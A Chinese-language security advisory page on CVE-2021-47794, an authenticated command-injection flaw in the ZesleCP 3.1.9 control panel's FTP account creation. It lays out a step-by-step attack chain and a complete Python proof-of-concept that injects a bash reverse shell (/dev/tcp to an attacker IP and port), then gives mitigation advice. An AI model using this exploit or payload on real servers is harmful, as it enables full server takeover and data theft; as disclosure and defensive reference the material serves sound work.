IPBUF安全漏洞报告
English
CVE-2021-47794 CVSS 8.8 高危

CVE-2021-47794 ZesleCP 3.1.9 认证后远程代码执行漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47794
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ZesleCP

相关标签

远程代码执行命令注入ZesleCP控制面板FTP反向shell认证后漏洞高危漏洞CVSS 8.8CVE-2021-47794

漏洞概述

CVE-2021-47794是ZesleCP 3.1.9版本中存在的一个严重的认证后远程代码执行漏洞。ZesleCP是一款广泛使用的基于Web的Linux服务器控制面板,用于简化服务器管理和网站托管。该漏洞允许已认证的低权限用户通过FTP账户创建功能注入恶意shell命令,从而在服务器上执行任意代码。攻击者可以利用此漏洞建立反向shell连接,完全控制目标服务器。由于该漏洞的CVSS评分高达8.8,属于高危级别,且攻击复杂度低,无需用户交互即可实现,因此对使用ZesleCP的组织构成了严重安全威胁。攻击者一旦获得服务器访问权限,可以窃取敏感数据、安装后门、横向移动到其他系统,甚至将服务器纳入僵尸网络用于后续攻击活动。该漏洞的存在表明ZesleCP在处理用户输入时缺乏充分的输入验证和命令执行隔离机制。

技术细节

该漏洞的根本原因在于ZesleCP的FTP账户创建功能对用户输入参数缺乏有效的安全过滤。攻击者通过身份验证后,可以访问FTP账户创建接口,在账户名称字段中注入恶意shell命令载荷。由于应用程序直接将用户输入拼接到系统命令中执行,导致命令注入成功。典型的攻击载荷会尝试建立反向shell连接,例如使用bash -i反弹shell或netcat反向连接命令。攻击者需要指定监听主机的IP地址和端口,当服务器执行该注入命令时,会主动连接到攻击者指定的位置,从而建立远程shell会话。由于FTP账户创建功能本身需要一定的认证权限,攻击者需要先获取ZesleCP面板的有效账户凭证,通常可以是任意低权限账户。成功利用后,攻击者可以在服务器上以web服务器运行用户(如www-data或apache)的权限执行任意命令,如果服务器配置不当或存在其他提权漏洞,还可能进一步提升至root权限。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标服务器运行ZesleCP控制面板,确定版本为3.1.9
STEP 2
步骤2: 获取认证凭证
通过暴力破解、社会工程、凭证填充或其他方式获取ZesleCP面板的有效用户账户凭证
STEP 3
步骤3: 登录控制面板
使用获取的凭证登录ZesleCP管理界面,获得FTP账户创建功能的访问权限
STEP 4
步骤4: 构造恶意载荷
在FTP账户名称字段中构造包含shell命令注入的反向shell载荷,如test;bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1;
STEP 5
步骤5: 设置监听器
攻击者在本地设置netcat或Metasploit multi/handler监听器,等待目标服务器的反向连接
STEP 6
步骤6: 提交恶意请求
通过HTTP POST请求提交FTP账户创建表单,载荷中的shell命令被服务器执行,建立反向shell连接
STEP 7
步骤7: 获得远程访问
反向shell连接建立成功,攻击者获得服务器的命令执行权限,可进一步进行横向移动或权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2021-47794 PoC - ZesleCP Authenticated RCE via FTP Account Creation Author: Security Researcher Reference: https://www.exploit-db.com/exploits/50233 """ import requests import sys from urllib.parse import quote def exploit_zeslecp(target_url, username, password, attacker_ip, attacker_port): """ Exploit the authenticated RCE vulnerability in ZesleCP FTP account creation Args: target_url: Base URL of ZesleCP installation username: Valid ZesleCP username password: Password for the account attacker_ip: Attacker listening IP for reverse shell attacker_port: Attacker listening port """ session = requests.Session() # Step 1: Login to ZesleCP login_url = f"{target_url}/login" login_data = { 'username': username, 'password': password } print(f"[*] Logging in to ZesleCP at {target_url}") response = session.post(login_url, data=login_data, timeout=30) if response.status_code != 200: print("[-] Login failed - check credentials") return False print("[+] Login successful") # Step 2: Create malicious FTP account with shell injection payload ftp_create_url = f"{target_url}/ftp-account/create" # Reverse shell payload - inject into FTP account name field # Using bash reverse shell technique reverse_shell_payload = f"test;bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1;" ftp_data = { 'username': reverse_shell_payload, 'password': 'Password123!', 'homedir': '/home' } print(f"[*] Creating FTP account with malicious payload...") print(f"[*] Payload: {reverse_shell_payload}") try: response = session.post(ftp_create_url, data=ftp_data, timeout=30) if response.status_code == 200: print("[+] Exploit sent - check your listener for reverse shell") print(f"[*] Listening on {attacker_ip}:{attacker_port}") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python3 cve-2021-47794.py <target_url> <username> <password> <attacker_ip> <attacker_port>") print("Example: python3 cve-2021-47794.py https://zeslecp.local admin password123 192.168.1.100 4444") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] lhost = sys.argv[4] lport = sys.argv[5] exploit_zeslecp(target, user, passwd, lhost, lport)

影响范围

ZesleCP 3.1.9

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:限制ZesleCP管理面板的访问来源,仅允许受信任的IP地址访问;实施强密码策略并定期更换管理账户密码;对FTP账户创建功能实施速率限制,防止自动化攻击;对所有用户输入实施严格的输入验证,拒绝包含特殊字符(如分号、管道符、反引号等)的账户名称;启用详细的审计日志并配置实时告警,以便及时发现异常活动;考虑使用网络隔离技术将ZesleCP服务器置于隔离区域,限制攻击成功后的影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表